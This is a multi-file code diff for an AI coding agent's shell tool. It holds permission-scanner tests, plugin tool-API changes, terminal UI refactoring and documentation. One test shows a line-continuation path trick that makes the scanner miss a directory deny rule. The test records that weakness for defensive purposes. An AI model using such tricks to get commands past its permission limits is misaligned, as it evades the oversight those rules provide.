const marker = path.join(fixture.active, "marker")
|
||||
const result = yield* runPermissionCommand(
|
||||
registry,
|
||||
`cd 123 && pwd -P && printf reached > '${marker}'`,
|
||||
marker,
|
||||
[],
|
||||
)
|
||||
expect(result.requests).toEqual([])
|
||||
expect(result.exit).toMatchObject({
|
||||
_tag: "Success",
|
||||
value: {
|
||||
status: "completed",
|
||||
metadata: { exit: 0 },
|
||||
content: [{ type: "text", text: `${fixture.outside}\n` }, { type: "text" }],
|
||||
},
|
||||
})
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("reached")
|
||||
}),
|
||||
))
|
||||
|
||||
test(`${scanner}: a continued directory operand asks for the wrong path and misses the destination deny`, () =>
|
||||
withScanner(portable, (registry, fixture) =>
|
||||
Effect.gen(function* () {
|
||||
const agents = yield* Agent.Service
|
||||
yield* agents.transform((draft) =>
|
||||
draft.update(toolIdentity.agent, (agent) => {
|
||||
agent.permissions = [
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
{ action: "external_directory", resource: path.join(fixture.outside, "*"), effect: "deny" },
|
||||
]
|
||||
}),
|
||||
)
|
||||
const marker = path.join(fixture.active, "marker")
|
||||
const command = `cd ../out\\\nside && pwd -P && printf reached > '${marker}'`
|
||||
for (const reply of ["reject", "once"] as const) {
|
||||
const result = yield* runPermissionCommand(registry, command, marker, [reply])
|
||||
expect(result.requests).toMatchObject([
|
||||
{
|
||||
action: "external_directory",
|
||||
resources: [
|
||||
path.join(fixture.active, "..", portable ? "out\\\nside" : "out", "*").replaceAll("\\", "/"),
|
||||
],
|
||||
},
|
||||
])
|
||||
if (reply === "reject") {
|
||||
expect(Exit.isFailure(result.exit)).toBe(true)
|
||||
if (Exit.isFailure(result.exit))
|
||||
expect(
|
||||
result.exit.cause.reasons.some(
|
||||
(reason) => Cause.isDieReason(reason) && reason.defect instanceof Permission.DeclinedError,
|
||||
),
|
||||
).toBe(true)
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
|
||||
continue
|
||||
}
|
||||
expect(result.exit).toMatchObject({
|
||||
_tag: "Success",
|
||||
value: {
|
||||
status: "completed",
|
||||
metadata: { exit: 0 },
|
||||
content: [{ type: "text", text: `${fixture.outside}\n` }, { type: "text" }],
|
||||
},
|
||||
})
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("reached")
|
||||
}
|
||||
}),
|
||||
))
|
||||
}
|
||||
})
|
||||
|
||||
describe("ShellTool ordinary shell syntax", () => {
|
||||
for (const shell of ["bash", "zsh"]) {
|
||||
const test = isWindows || !Bun.which(shell) ? permissionIt.live.skip : permissionIt.live
|
||||
for (const portable of [false, true]) {
|
||||
for (const fixture of [
|
||||
{ name: "quoted heredoc", command: "cat <<'EOF'\nhello\nEOF", output: "hello\n", saved: ["cat *"] },
|
||||
{
|
||||
name: "heredoc substitution",
|
||||
command: "cat <<EOF\n$(printf hello)\nEOF",
|
||||
output: "hello\n",
|
||||
saved: ["cat *", "printf *"],
|
||||
},
|
||||
{
|
||||
name: "loop with a conditional",
|
||||
command: 'for value in a b; do if test -n "$value"; then printf %s "$value"; fi; done',
|
||||
output: "ab",
|
||||
saved: ["test *", "printf *"],
|
||||
},
|
||||
{
|
||||
name: "function and case",
|
||||
command: 'greet() { case "$1" in a) printf hello;; *) printf other;; esac; }; greet a',
|
||||
output: "hello",
|
||||
saved: ["greet *", "printf *"],
|
||||
},
|
||||
{
|
||||
name: "parameter fallback",
|
||||
command: 'value=; printf %s "${value:-fallback}"',
|
||||
output: "fallback",
|
||||
saved: ["printf *"],
|
||||
},
|
||||
{
|
||||
name: "arithmetic statement",
|
||||
command: 'count=1; ((count += 1)); printf %s "$count"',
|
||||
output: "2",
|
||||
saved: ["((count += 1)) *", "printf *"],
|
||||
},
|
||||
{ name: "ANSI-C quoting", command: "printf %s $'a\\nb'", output: "a\nb", saved: ["printf *"] },
|
||||
]) {
|
||||
test(`${shell} ${portable ? "native" : "legacy"}: ${fixture.name} reuses existing approvals`, () =>
|
||||
withScanner(
|
||||
portable,
|
||||
(registry, directory) =>
|
||||
Effect.gen(function* () {
|
||||
const saved = yield* PermissionSaved.Service
|
||||
const location = yield* Location.Service
|
||||
yield* saved.add({ projectID: location.project.id, action: "shell", resources: fixture.saved })
|
||||
const result = yield* runPermissionCommand(
|
||||
registry,
|
||||
fixture.command,
|
||||
path.join(directory.active, "marker"),
|
||||
[],
|
||||
)
|
||||
expect(result.requests).toEqual([])
|
||||
expect(result.exit).toMatchObject({
|
||||
_tag: "Success",
|
||||
value: {
|
||||
status: "completed",
|
||||
metadata: { exit: 0 },
|
||||
content: [{ type: "text", text: fixture.output }, { type: "text" }],
|
||||
},
|
||||
})
|
||||
}),
|
||||
shell,
|
||||
))
|
||||
}
|
||||
|
||||
test(`${shell} ${portable ? "native" : "legacy"}: a loop body deny prevents execution`, () =>
|
||||
withScanner(
|
||||
portable,
|
||||
(registry, directory) =>
|
||||
Effect.gen(function* () {
|
||||
const agents = yield* Agent.Service
|
||||
yield* agents.transform((draft) =>
|
||||
draft.update(toolIdentity.agent, (agent) => {
|
||||
agent.permissions = [
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
{ action: "shell", resource: "printf *", effect: "deny" },
|
||||
]
|
||||
}),
|
||||
)
|
||||
const marker = path.join(directory.active, "marker")
|
||||
const result = yield* runPermissionCommand(
|
||||
registry,
|
||||
"for value in a; do printf body > marker; done",
|
||||
marker,
|
||||
[],
|
||||
)
|
||||
expect(result.exit).toMatchObject({
|
||||
_tag: "Success",
|
||||
value: { status: "error", error: { message: expect.stringContaining("Permission denied: shell") } },
|
||||
})
|
||||
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
|
||||
}),
|
||||
shell,
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
const pwsh = process.env.SHELL_SCAN_PWSH ?? Bun.which("pwsh") ?? Bun.which("powershell")
|
||||
const test = pwsh ? permissionIt.live : permissionIt.live.skip
|
||||
for (const portable of [false, true]) {
|
||||
for (const command of [
|
||||
'Write-Output "$(Write-Output hello)"',
|
||||
'$value = "hello"; Write-Output $value',
|
||||
"if ($true) { Write-Output hello } else { Write-Output other }",
|
||||
"foreach ($value in @('hello')) { Write-Output $value }",
|
||||
"ForEach-Object { Write-Output hello }",
|
||||
"function Show-Value { Write-Output hello }; Show-Value",
|
||||
"Write-Output `\n hello",
|
||||
"Write-Output @'\nhello\n'@",
|
||||
]) {
|
||||
test(`PowerShell ${portable ? "native" : "legacy"}: ordinary syntax reuses approvals: ${command}`, () =>
|
||||
withScanner(
|
||||
portable,
|
||||
(registry, directory) =>
|
||||
Effect.gen(function* () {
|
||||
const saved = yield* PermissionSaved.Service
|
||||
const location = yield* Location.Service
|
||||
yield* saved.add({
|
||||
projectID: location.project.id,
|
||||
action: "shell",
|
||||
resources: ["Write-Output *", "Show-Value *"],
|
||||
})
|
||||
const result = yield* runPermissionCommand(registry, command, path.join(directory.active, "marker"), [])
|
||||
expect(result.requests).toEqual([])
|
||||
expect(result.exit).toMatchObject({
|
||||
_tag: "Success",
|
||||
value: { status: "completed", metadata: { exit: 0 } },
|
||||
})
|
||||
if (Exit.isSuccess(result.exit))
|
||||
expect(result.exit.value.content?.[0]).toEqual({
|
||||
type: "text",
|
||||
text: isWindows ? "hello\r\n" : "hello\n",
|
||||
})
|
||||
}),
|
||||
pwsh ?? "pwsh",
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
for (const [command, pattern] of [
|
||||
["Write-Output\thello", "Write-Output\t*"],
|
||||
["& 'Write-Output' hello", "& 'Write-Output' *"],
|
||||
["Write-Output `\n hello", "Write-Output *"],
|
||||
]) {
|
||||
test(`PowerShell native: always allow covers repeat execution and preserves exact deny: ${command}`, () =>
|
||||
withScanner(
|
||||
true,
|
||||
(registry, directory) =>
|
||||
Effect.gen(function* () {
|
||||
const marker = path.join(directory.active, "marker")
|
||||
const first = yield* runPermissionCommand(registry, command, marker, ["always"])
|
||||
expect(first.requests).toMatchObject([{ action: "shell", resources: [command], save: [pattern] }])
|
||||
expect(first.exit).toMatchObject({ _tag: "Success", value: { status: "completed", metadata: { exit: 0 } } })
|
||||
const repeat = yield* runPermissionCommand(registry, command, marker, [])
|
||||
expect(repeat.requests).toEqual([])
|
||||
expect(repeat.exit).toMatchObject({
|
||||
_tag: "Success",
|
||||
value: { status: "completed", metadata: { exit: 0 } },
|
||||
})
|
||||
|
||||
const agents = yield* Agent.Service
|
||||
yield* agents.transform((draft) =>
|
||||
draft.update(toolIdentity.agent, (agent) => {
|
||||
agent.permissions = [{ action: "shell", resource: command, effect: "deny" }]
|
||||
}),
|
||||
)
|
||||
const denied = yield* runPermissionCommand(registry, command, marker, [])
|
||||
expect(denied.exit).toMatchObject({
|
||||
_tag: "Success",
|
||||
value: { status: "error", error: { message: expect.stringContaining("Permission denied: shell") } },
|
||||
})
|
||||
}),
|
||||
pwsh ?? "pwsh",
|
||||
))
|
||||
}
|
||||
})
|
||||
|
||||
describe("ShellTool", () => {
|
||||
productionIt.live(
|
||||
"registers and returns real successful output from the active Location",
|
||||
@@ -517,30 +1007,106 @@ describe("ShellTool", () => {
|
||||
{ timeout: 15_000 },
|
||||
)
|
||||
|
||||
it.live("does not add external-directory permission for an experimental portable heredoc", () =>
|
||||
Effect.acquireUseRelease(
|
||||
Effect.promise(() => tmpdir()),
|
||||
(tmp) =>
|
||||
it.live("exposes malformed native syntax without fallback or partial execution", () =>
|
||||
Effect.gen(function* () {
|
||||
if (isWindows) return
|
||||
for (const portable of [false, true]) {
|
||||
yield* Effect.acquireUseRelease(
|
||||
Effect.promise(() => tmpdir()),
|
||||
(tmp) =>
|
||||
Effect.gen(function* () {
|
||||
reset()
|
||||
yield* Effect.promise(() =>
|
||||
Bun.write(
|
||||
path.join(tmp.path, "opencode.json"),
|
||||
JSON.stringify({ experimental: { portable_shell_scanner: portable } }),
|
||||
),
|
||||
)
|
||||
const settled = yield* withSession(tmp.path, (registry) =>
|
||||
Effect.gen(function* () {
|
||||
const selection = yield* ShellSelect.Service
|
||||
yield* selection.transform((draft) => draft.configure("sh"))
|
||||
return yield* executeTool(
|
||||
registry,
|
||||
call({ command: 'printf hello > marker\necho "' }, "call-portable-malformed"),
|
||||
)
|
||||
}),
|
||||
)
|
||||
if (portable) {
|
||||
expect(settled).toMatchObject({
|
||||
status: "error",
|
||||
error: { message: expect.stringContaining("unterminated-quote") },
|
||||
})
|
||||
expect(assertions).toEqual([])
|
||||
expect(yield* Effect.promise(() => Bun.file(path.join(tmp.path, "marker")).exists())).toBe(false)
|
||||
return
|
||||
}
|
||||
expect(settled.status).toBe("completed")
|
||||
expect(settled.metadata?.exit).not.toBe(0)
|
||||
expect(assertions.map((item) => item.action)).toEqual(["shell"])
|
||||
expect(yield* Effect.promise(() => Bun.file(path.join(tmp.path, "marker")).text())).toBe("hello")
|
||||
}),
|
||||
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
|
||||
)
|
||||
}
|
||||
}),
|
||||
)
|
||||
|
||||
for (const shell of ["sh", "zsh"]) {
|
||||
const test = isWindows || !Bun.which(shell) ? it.live.skip : it.live
|
||||
test(
|
||||
`preserves arithmetic and directory permissions with scanner flag on and off in ${shell}`,
|
||||
() =>
|
||||
Effect.gen(function* () {
|
||||
if (isWindows) return
|
||||
reset()
|
||||
denyAction = "external_directory"
|
||||
yield* Effect.promise(() =>
|
||||
Bun.write(
|
||||
path.join(tmp.path, "opencode.json"),
|
||||
JSON.stringify({ experimental: { portable_shell_scanner: true } }),
|
||||
const results = yield* Effect.forEach([false, true], (portable) =>
|
||||
Effect.acquireUseRelease(
|
||||
Effect.promise(() => tmpdir()),
|
||||
(tmp) =>
|
||||
Effect.gen(function* () {
|
||||
reset()
|
||||
yield* Effect.promise(() =>
|
||||
Bun.write(
|
||||
path.join(tmp.path, "opencode.json"),
|
||||
JSON.stringify({ experimental: { portable_shell_scanner: portable } }),
|
||||
),
|
||||
)
|
||||
yield* Effect.promise(() => fs.mkdir(path.join(tmp.path, "one", "two"), { recursive: true }))
|
||||
yield* withSession(tmp.path, (registry) =>
|
||||
Effect.gen(function* () {
|
||||
const selection = yield* ShellSelect.Service
|
||||
yield* selection.transform((draft) => draft.configure(shell))
|
||||
for (const [command, output] of [
|
||||
["echo $((1 + 1))", "2\n"],
|
||||
["cd ~ && pwd", `${realpathSync(os.homedir())}\n`],
|
||||
["cd one&&cd two&&pwd", `${path.join(tmp.path, "one", "two")}\n`],
|
||||
]) {
|
||||
const settled = yield* executeTool(registry, call({ command }, `call-parity-${command}`))
|
||||
expect(settled.status).toBe("completed")
|
||||
expect(settled.metadata).toMatchObject({ exit: 0 })
|
||||
expect(settled.content?.[0]).toMatchObject({ type: "text", text: output })
|
||||
}
|
||||
}),
|
||||
)
|
||||
expect(assertions.map((item) => item.action)).toEqual([
|
||||
"shell",
|
||||
"external_directory",
|
||||
"shell",
|
||||
"shell",
|
||||
])
|
||||
expect(assertions[1]?.resources).toEqual([path.join(realpathSync(os.homedir()), "*")])
|
||||
expect(assertions[0]).toMatchObject({ resources: ["echo $((1 + 1))"], save: ["echo *"] })
|
||||
expect(assertions[2]).toMatchObject({ resources: ["pwd"], save: ["pwd *"] })
|
||||
expect(assertions[3]).toMatchObject({ resources: ["pwd"], save: ["pwd *"] })
|
||||
return assertions.slice()
|
||||
}),
|
||||
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
|
||||
),
|
||||
)
|
||||
const settled = yield* withSession(tmp.path, (registry) =>
|
||||
executeTool(registry, call({ command: "cat <<'EOF'\nhello\nEOF" }, "call-portable-heredoc")),
|
||||
)
|
||||
expect(settled.status).toBe("completed")
|
||||
expect(assertions.map((item) => item.action)).toEqual(["shell"])
|
||||
expect(settled.content?.[0]).toMatchObject({ type: "text", text: "hello\n" })
|
||||
expect(results[1]).toEqual(results[0])
|
||||
}),
|
||||
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
|
||||
),
|
||||
)
|
||||
{ timeout: 15_000 },
|
||||
)
|
||||
}
|
||||
|
||||
it.live("keeps non-zero exits useful", () =>
|
||||
Effect.acquireUseRelease(
|
||||
|
||||
@@ -2,13 +2,16 @@ import { Tool } from "@opencode-ai/schema/tool"
|
||||
import type { Agent } from "@opencode-ai/schema/agent"
|
||||
import type { Session } from "@opencode-ai/schema/session"
|
||||
import type { SessionMessage } from "@opencode-ai/schema/session-message"
|
||||
import type { JsonSchema } from "effect"
|
||||
import type { Effect, JsonSchema, Types } from "effect"
|
||||
import type { Hooks, Transform } from "./registration.js"
|
||||
|
||||
export interface ToolDraft {
|
||||
add<Input extends Tool.ValueSchema<any>, Output extends Tool.ValueSchema<any> | undefined>(
|
||||
tool: Tool.Info<Input, Output>,
|
||||
): void
|
||||
/** Updates an existing tool; missing IDs are ignored. */
|
||||
update(id: string, update: (tool: Types.Mutable<Tool.Info>) => void): void
|
||||
remove(id: string): void
|
||||
}
|
||||
|
||||
export interface ToolHooks {
|
||||
@@ -48,5 +51,6 @@ export interface ToolFailures extends Record<keyof ToolHooks, unknown> {
|
||||
|
||||
export interface ToolDomain {
|
||||
readonly transform: Transform<ToolDraft>
|
||||
readonly reload: () => Effect.Effect<void>
|
||||
readonly hook: Hooks<ToolHooks, ToolFailures>
|
||||
}
|
||||
|
||||
@@ -294,10 +294,31 @@ export function fromPromise(plugin: Plugin) {
|
||||
scan: (options) => run(host.storage.scan(options)),
|
||||
},
|
||||
tool: {
|
||||
reload: () => run(host.tool.reload()),
|
||||
transform: (callback) =>
|
||||
register(
|
||||
host.tool.transform((draft) =>
|
||||
callback({
|
||||
update: (id, update) =>
|
||||
draft.update(id, (tool) => {
|
||||
const execute = tool.execute
|
||||
const value: Info = {
|
||||
...tool,
|
||||
execute: (input, context) =>
|
||||
run(
|
||||
execute(input, {
|
||||
...context,
|
||||
progress: (update) => Effect.promise(() => context.progress(update)),
|
||||
}),
|
||||
),
|
||||
}
|
||||
update(value)
|
||||
Object.assign(tool, {
|
||||
...value,
|
||||
execute: (input: unknown, context: Tool.Context) => executePromiseTool(value, input, context),
|
||||
})
|
||||
}),
|
||||
remove: (id) => draft.remove(id),
|
||||
add: (tool: Info) =>
|
||||
draft.add({
|
||||
...tool,
|
||||
|
||||
@@ -5,7 +5,7 @@ import { Tool } from "@opencode-ai/schema/tool"
|
||||
import type { Agent } from "@opencode-ai/schema/agent"
|
||||
import type { Session } from "@opencode-ai/schema/session"
|
||||
import type { SessionMessage } from "@opencode-ai/schema/session-message"
|
||||
import type { JsonSchema } from "effect"
|
||||
import type { JsonSchema, Types } from "effect"
|
||||
import type { Hooks, Transform } from "./registration.js"
|
||||
|
||||
export interface ToolContext extends Omit<Tool.Context, "progress"> {
|
||||
@@ -26,6 +26,9 @@ interface ToolDraft {
|
||||
add<Input extends Tool.ValueSchema<any>, Output extends Tool.ValueSchema<any> | undefined>(
|
||||
tool: Info<Input, Output>,
|
||||
): void
|
||||
/** Updates an existing tool; missing IDs are ignored. */
|
||||
update(id: string, update: (tool: Types.Mutable<Info>) => void): void
|
||||
remove(id: string): void
|
||||
}
|
||||
|
||||
interface ToolHooks {
|
||||
@@ -59,5 +62,6 @@ interface ToolHooks {
|
||||
|
||||
export interface ToolDomain {
|
||||
readonly transform: Transform<ToolDraft>
|
||||
readonly reload: () => Promise<void>
|
||||
readonly hook: Hooks<ToolHooks>
|
||||
}
|
||||
|
||||
@@ -29,12 +29,10 @@ export function SessionFrame(props: { sessionID: string; verticalTabsWidth: numb
|
||||
(sessionID) => sessions.refresh(sessionID).catch(() => undefined),
|
||||
)
|
||||
const session = () => sessions.get(props.sessionID)
|
||||
const terminals = () => session()?.terminals ?? []
|
||||
const selectedTerminal = () => {
|
||||
if (!config.data.session.terminal) return
|
||||
const value = session()
|
||||
if (value?.hidden) return
|
||||
return value?.terminals.find((terminal) => terminal.id === value.selectedTerminalID) ?? value?.terminals.at(-1)
|
||||
return value.terminals.find((terminal) => terminal.id === value.selectedTerminalID)
|
||||
}
|
||||
createEffect(
|
||||
on(
|
||||
@@ -54,7 +52,7 @@ export function SessionFrame(props: { sessionID: string; verticalTabsWidth: numb
|
||||
const rightPane = createMemo(() => {
|
||||
if (sidebarOpen() && sidebarVisible()) return "sidebar"
|
||||
if (selectedTerminal()) return "terminal"
|
||||
if (sidebarVisible() && !session()?.hidden) return "sidebar"
|
||||
if (sidebarVisible()) return "sidebar"
|
||||
})
|
||||
const toggleSidebar = () => {
|
||||
batch(() => {
|
||||
@@ -65,11 +63,11 @@ export function SessionFrame(props: { sessionID: string; verticalTabsWidth: numb
|
||||
})
|
||||
.catch(toast.error)
|
||||
setSidebarOpen(!visible)
|
||||
if (!visible && selectedTerminal()) void sessions.hideTerminal(props.sessionID).catch(toast.error)
|
||||
if (!visible && selectedTerminal()) void sessions.selectTerminal(props.sessionID, null).catch(toast.error)
|
||||
})
|
||||
}
|
||||
createEffect(() => {
|
||||
if (!restoreTerminalFocus() || terminals().length > 0) return
|
||||
if (!restoreTerminalFocus() || selectedTerminal()) return
|
||||
setRestoreTerminalFocus(false)
|
||||
prompt.current?.focus()
|
||||
})
|
||||
@@ -139,13 +137,13 @@ export function SessionFrame(props: { sessionID: string; verticalTabsWidth: numb
|
||||
<Show
|
||||
when={rightPane() === "sidebar"}
|
||||
fallback={
|
||||
<Show keyed when={selectedTerminal()}>
|
||||
{(terminal) => (
|
||||
<Show keyed when={selectedTerminal()?.id}>
|
||||
{(ptyID) => (
|
||||
<TerminalPane
|
||||
ptyID={terminal.id}
|
||||
autoFocus={restoreTerminalFocus() || sessions.shouldFocus(terminal.id)}
|
||||
ptyID={ptyID}
|
||||
autoFocus={restoreTerminalFocus() || sessions.shouldFocus(ptyID)}
|
||||
onAutoFocus={() => {
|
||||
sessions.clearFocus(terminal.id)
|
||||
sessions.clearFocus(ptyID)
|
||||
setRestoreTerminalFocus(false)
|
||||
}}
|
||||
onFocusChange={setTerminalFocused}
|
||||
|
||||
@@ -330,8 +330,8 @@ function sameSize(first: TerminalSize | undefined, second: TerminalSize | undefi
|
||||
}
|
||||
|
||||
function terminalPalette(theme: ResolvedThemeTokens, mode: "dark" | "light", background: RGBA) {
|
||||
const base = mode === "dark" ? 500 : 700
|
||||
const bright = mode === "dark" ? 300 : 500
|
||||
const base = mode === "dark" ? 200 : 800
|
||||
const bright = mode === "dark" ? 100 : 900
|
||||
const colors = [
|
||||
background,
|
||||
theme.text.feedback.error.default,
|
||||
|
||||
@@ -7,14 +7,8 @@ import { useData } from "./data"
|
||||
import { useEvent } from "./event"
|
||||
import { useStorage } from "./storage"
|
||||
|
||||
type SessionTerminals = {
|
||||
terminals: PersistentPtyInfo[]
|
||||
selectedTerminalID?: string
|
||||
hidden?: boolean
|
||||
}
|
||||
|
||||
type SessionTerminalsState = {
|
||||
sessions: Record<string, SessionTerminals>
|
||||
sessions: Record<string, string | null>
|
||||
}
|
||||
|
||||
export const { use: useSessionTerminals, provider: SessionTerminalsProvider } = createSimpleContext({
|
||||
@@ -25,56 +19,62 @@ export const { use: useSessionTerminals, provider: SessionTerminalsProvider } =
|
||||
const data = useData()
|
||||
const event = useEvent()
|
||||
const [focus, setFocus] = createSignal<string>()
|
||||
const [store, update] = useStorage().store<SessionTerminalsState>("session-terminals-v1", {
|
||||
const storage = useStorage()
|
||||
const [store, update] = storage.store<SessionTerminalsState>("session-terminal-selection", {
|
||||
initial: { sessions: {} },
|
||||
})
|
||||
|
||||
const save = (sessionID: string, terminals: PersistentPtyInfo[], selectedTerminalID?: string) =>
|
||||
update((draft) => {
|
||||
const current = draft.sessions[sessionID]?.selectedTerminalID
|
||||
const selected = selectedTerminalID ?? current
|
||||
draft.sessions[sessionID] = {
|
||||
terminals,
|
||||
selectedTerminalID: terminals.some((terminal) => terminal.id === selected) ? selected : terminals.at(-1)?.id,
|
||||
...(selectedTerminalID === undefined && draft.sessions[sessionID]?.hidden ? { hidden: true } : {}),
|
||||
}
|
||||
})
|
||||
const [terminals, updateTerminals] = storage.memory<Record<string, PersistentPtyInfo[]>>("session-terminals", {
|
||||
initial: {},
|
||||
})
|
||||
|
||||
const refresh = async (sessionID: string) => {
|
||||
await save(sessionID, await client.api.experimental.persistentPty.list({ sessionID }))
|
||||
if (!terminals[sessionID]) updateTerminals((draft) => (draft[sessionID] = []))
|
||||
const result = await client.api.experimental.persistentPty.list({ sessionID })
|
||||
updateTerminals((draft) => (draft[sessionID] = result))
|
||||
const selected = store.sessions[sessionID]
|
||||
if (!selected || result.some((terminal) => terminal.id === selected)) return
|
||||
await update((draft) => {
|
||||
if (draft.sessions[sessionID] !== selected) return
|
||||
draft.sessions[sessionID] = null
|
||||
})
|
||||
}
|
||||
|
||||
const selectTerminal = async (sessionID: string, ptyID: string | null) => {
|
||||
if (ptyID !== null && !terminals[sessionID]?.some((terminal) => terminal.id === ptyID)) return
|
||||
setFocus(ptyID ?? undefined)
|
||||
await update((draft) => {
|
||||
draft.sessions[sessionID] = ptyID
|
||||
})
|
||||
}
|
||||
|
||||
for (const type of ["persistent-pty.added", "persistent-pty.removed"] as const) {
|
||||
onCleanup(
|
||||
event.on(type, (evt) => {
|
||||
if (!config.session.terminal || !store.sessions[evt.data.sessionID]) return
|
||||
if (!config.session.terminal || !terminals[evt.data.sessionID]) return
|
||||
void refresh(evt.data.sessionID).catch((error) =>
|
||||
console.error("Failed to refresh persistent terminal panes", error),
|
||||
)
|
||||
}),
|
||||
)
|
||||
}
|
||||
onCleanup(
|
||||
event.on("server.connected", () => {
|
||||
if (!config.session.terminal) return
|
||||
Object.keys(terminals).forEach((sessionID) => {
|
||||
void refresh(sessionID).catch((error) => console.error("Failed to refresh persistent terminal panes", error))
|
||||
})
|
||||
}),
|
||||
)
|
||||
|
||||
return {
|
||||
get(sessionID: string) {
|
||||
return store.sessions[sessionID]
|
||||
return {
|
||||
terminals: terminals[sessionID] ?? [],
|
||||
selectedTerminalID: store.sessions[sessionID] ?? null,
|
||||
}
|
||||
},
|
||||
refresh,
|
||||
selectTerminal(sessionID: string, ptyID: string) {
|
||||
setFocus(ptyID)
|
||||
return update((draft) => {
|
||||
const session = draft.sessions[sessionID]
|
||||
if (!session?.terminals.some((terminal) => terminal.id === ptyID)) return
|
||||
session.selectedTerminalID = ptyID
|
||||
delete session.hidden
|
||||
})
|
||||
},
|
||||
hideTerminal(sessionID: string) {
|
||||
return update((draft) => {
|
||||
const session = draft.sessions[sessionID]
|
||||
if (session) session.hidden = true
|
||||
})
|
||||
},
|
||||
selectTerminal,
|
||||
async newTerminal(sessionID: string): Promise<PersistentPtyInfo> {
|
||||
const session = data.session.get(sessionID)
|
||||
const terminal = await client.api.experimental.persistentPty.create({
|
||||
@@ -85,8 +85,8 @@ export const { use: useSessionTerminals, provider: SessionTerminalsProvider } =
|
||||
title: "Terminal",
|
||||
env: {},
|
||||
})
|
||||
setFocus(terminal.id)
|
||||
await save(sessionID, await client.api.experimental.persistentPty.list({ sessionID }), terminal.id)
|
||||
await refresh(sessionID)
|
||||
await selectTerminal(sessionID, terminal.id)
|
||||
return terminal
|
||||
},
|
||||
shouldFocus(ptyID: string) {
|
||||
|
||||
@@ -903,15 +903,19 @@ export function Session(props: {
|
||||
id: "terminal.toggle",
|
||||
group: "Session",
|
||||
run: () => {
|
||||
const sessionID = route.sessionID
|
||||
if (props.visibleTerminalID) {
|
||||
promptRef.current?.focus()
|
||||
void terminals.hideTerminal(route.sessionID).catch(toast.error)
|
||||
void terminals.selectTerminal(sessionID, null).catch(toast.error)
|
||||
} else {
|
||||
const state = terminals.get(route.sessionID)
|
||||
const terminal =
|
||||
state?.terminals.find((item) => item.id === state.selectedTerminalID) ?? state?.terminals.at(-1)
|
||||
if (terminal) void terminals.selectTerminal(route.sessionID, terminal.id).catch(terminalError)
|
||||
else void terminals.newTerminal(route.sessionID).catch(terminalError)
|
||||
void terminals
|
||||
.refresh(sessionID)
|
||||
.then(async () => {
|
||||
const terminal = terminals.get(sessionID).terminals.at(-1)
|
||||
if (terminal) return terminals.selectTerminal(sessionID, terminal.id)
|
||||
await terminals.newTerminal(sessionID)
|
||||
})
|
||||
.catch(terminalError)
|
||||
}
|
||||
dialog.clear()
|
||||
},
|
||||
@@ -934,7 +938,7 @@ export function Session(props: {
|
||||
enabled: props.visibleTerminalID !== undefined,
|
||||
run: () => {
|
||||
promptRef.current?.focus()
|
||||
void terminals.hideTerminal(route.sessionID).catch(toast.error)
|
||||
void terminals.selectTerminal(route.sessionID, null).catch(toast.error)
|
||||
dialog.clear()
|
||||
},
|
||||
},
|
||||
|
||||
@@ -847,13 +847,23 @@ interface ToolDraft {
|
||||
add<Input extends Tool.ValueSchema<any>, Output extends Tool.ValueSchema<any> | undefined>(
|
||||
tool: Tool.Info<Input, Output>,
|
||||
): void
|
||||
update(id: string, update: (tool: Types.Mutable<Tool.Info>) => void): void
|
||||
remove(id: string): void
|
||||
}
|
||||
|
||||
interface ToolDomain {
|
||||
readonly transform: Transform<ToolDraft>
|
||||
readonly reload: () => Effect.Effect<void>
|
||||
}
|
||||
```
|
||||
|
||||
`update` and `remove` use the effective registry name, such as `acme_greeting` above, and do nothing for missing tools.
|
||||
Creating a tool requires `add`, not an agent-style upsert. Updates preserve the name and namespace; assign new schemas
|
||||
and options to replace them.
|
||||
|
||||
As with agents and skills, transforms replay in registration order. Use `yield* ctx.tool.reload()` after external state
|
||||
changes. `yield* registration.dispose` removes that transform and rebuilds the tools. Scope cleanup does the same.
|
||||
|
||||
### VCS
|
||||
|
||||
Read repository information, working-copy status, or file diffs.
|
||||
|
||||
@@ -783,7 +783,7 @@ interface StorageScanResult {
|
||||
|
||||
### Tools
|
||||
|
||||
Register tools with a transform.
|
||||
Register, update, and remove tools with a transform.
|
||||
|
||||
```ts
|
||||
await ctx.tool.transform((draft) => {
|
||||
@@ -802,9 +802,22 @@ await ctx.tool.transform((draft) => {
|
||||
return { content: `Hello ${(input as { name: string }).name}!` }
|
||||
},
|
||||
})
|
||||
draft.update("acme_greeting", (tool) => {
|
||||
tool.description = "Greet someone by name"
|
||||
})
|
||||
draft.remove("legacy")
|
||||
})
|
||||
```
|
||||
|
||||
`update` and `remove` use effective registry names, including the namespace: `acme_greeting` in the example above.
|
||||
Dots in namespaces and unsupported characters in tool names become `_`.
|
||||
|
||||
`update` does nothing when the ID is missing. Unlike agent upserts, creating a tool requires `add` with a complete
|
||||
definition. Updates preserve the tool's name and namespace; replace its schemas and options by assigning new values.
|
||||
As with agents and skills, transforms replay in registration order when registered, reloaded, or disposed. Later
|
||||
transforms see earlier changes. Call `await ctx.tool.reload()` after external state used by a transform changes.
|
||||
Calling `await registration.dispose()` removes that transform and rebuilds the tools; plugin unload does the same.
|
||||
|
||||
#### Reference
|
||||
|
||||
Schemas: [`Tool.Content`](/api#schema-Tool.Content), [`Tool.TextContent`](/api#schema-Tool.TextContent),
|
||||
@@ -813,10 +826,13 @@ Schemas: [`Tool.Content`](/api#schema-Tool.Content), [`Tool.TextContent`](/api#s
|
||||
```ts
|
||||
interface ToolContext {
|
||||
transform(callback: (draft: ToolDraft) => void): Promise<Registration>
|
||||
reload(): Promise<void>
|
||||
}
|
||||
|
||||
interface ToolDraft {
|
||||
add(tool: ToolInfo): void
|
||||
update(id: string, update: (tool: Types.Mutable<ToolInfo>) => void): void
|
||||
remove(id: string): void
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
@@ -140,9 +140,16 @@ permission scanner. The default remains the tree-sitter scanner.
|
||||
}
|
||||
```
|
||||
|
||||
When enabled, the portable scanner is authoritative and tree-sitter is not
|
||||
